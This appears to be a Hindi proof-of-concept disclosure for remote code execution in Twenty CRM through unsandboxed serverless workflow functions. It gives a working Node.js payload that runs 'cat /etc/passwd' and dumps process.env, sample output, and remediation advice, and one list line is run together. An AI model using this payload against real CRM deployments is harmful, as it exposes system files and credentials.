
प्रमाण-अवधारणा (Proof-of-concept) Twenty CRM में प्रमाणित रिमोट कोड निष्पादन के लिए, अनसैंडबॉक्स्ड सर्वरलेस वर्कफ़्लो फ़ंक्शनों के माध्यम से, जो मनमाने Node.js कमांड निष्पादन और पर्यावरण चर (environment variable) प्रकटीकरण की अनुमति देता है।
उत्पाद: Twenty CRM
भेद्यता: सर्वरलेस वर्कफ़्लो फ़ंक्शन के माध्यम से रिमोट कोड निष्पादन (RCE)
गंभीरता: क्रिटिकल
प्रभावित घटक: वर्कफ़्लो स्वचालन (कोड - सर्वरलेस फ़ंक्शन)
परीक्षित संस्करण: v1.15.0
यह रिपॉज़िटरी Twenty CRM वर्कफ़्लो इंजन में एक गंभीर भेद्यता का दस्तावेज़ीकरण करती है। "कोड - सर्वरलेस फ़ंक्शन" घटक प्रमाणित उपयोगकर्ताओं को मनमाना Node.js कोड निष्पादित करने की अनुमति देता है। सैंडबॉक्सिंग की कमी के कारण, child_process मॉड्यूल को आयात करना और होस्ट सर्वर पर सिस्टम-स्तरीय कमांड निष्पादित करना संभव है।
एप्लिकेशन उपयोगकर्ताओं को कस्टम स्वचालन वर्कफ़्लो बनाने की अनुमति देता है जिसमें कोड निष्पादन चरण शामिल होता है। हालाँकि यह डेटा हेरफेर के लिए अभिप्रेत है, निष्पादन वातावरण Node.js बिल्ट-इन मॉड्यूल या अंतर्निहित ऑपरेटिंग सिस्टम तक पहुंच को ठीक से प्रतिबंधित नहीं करता है।
एक हमलावर child_process लाइब्रेरी से execSync का उपयोग कर सकता है:
cat, , )।lswhoami/etc/passwd)।process.env) डंप करने के लिए, जिससे डेटाबेस क्रेडेंशियल, API कुंजियाँ और एप्लिकेशन रहस्य उजागर होते हैं।import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
// 1. रिमोट कमांड निष्पादन: सिस्टम उपयोगकर्ता पढ़ें
const output = execSync('cat /etc/passwd').toString();
// 2. सूचना प्रकटीकरण: सभी पर्यावरण चर (रहस्य) डंप करें
const secrets = JSON.stringify(process.env);
return {
data: output,
secrets: secrets
};
} catch (e: any) {
return { error: e.message };
}
};
कोड अवलोकन
वर्कफ़्लो सफलतापूर्वक निष्पादित होता है और सिस्टम डेटा लौटाता है।
सिस्टम फ़ाइल एक्सेस (/etc/passwd):
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...
लीक हुए पर्यावरण चर:
process.env डंप ने महत्वपूर्ण कॉन्फ़िगरेशन विवरण उजागर किए:
PG_DATABASE_URL (डेटाबेस क्रेडेंशियल)APP_SECRET (हस्ताक्षर कुंजियाँ)REDIS_URLAWS_ACCESS_KEY (यदि कॉन्फ़िगर किया गया हो)यह भेद्यता एक प्रमाणित उपयोगकर्ता (वर्कफ़्लो बनाने की अनुमति वाले) को पूर्ण सिस्टम समझौता प्राप्त करने की अनुमति देती है।
इस समस्या को ठीक करने के लिए, "सर्वरलेस फ़ंक्शन" सुविधा को उचित अलगाव की आवश्यकता है।
child_process, fs, और net जैसे संवेदनशील Node.js मॉड्यूल तक पहुंच अक्षम करें।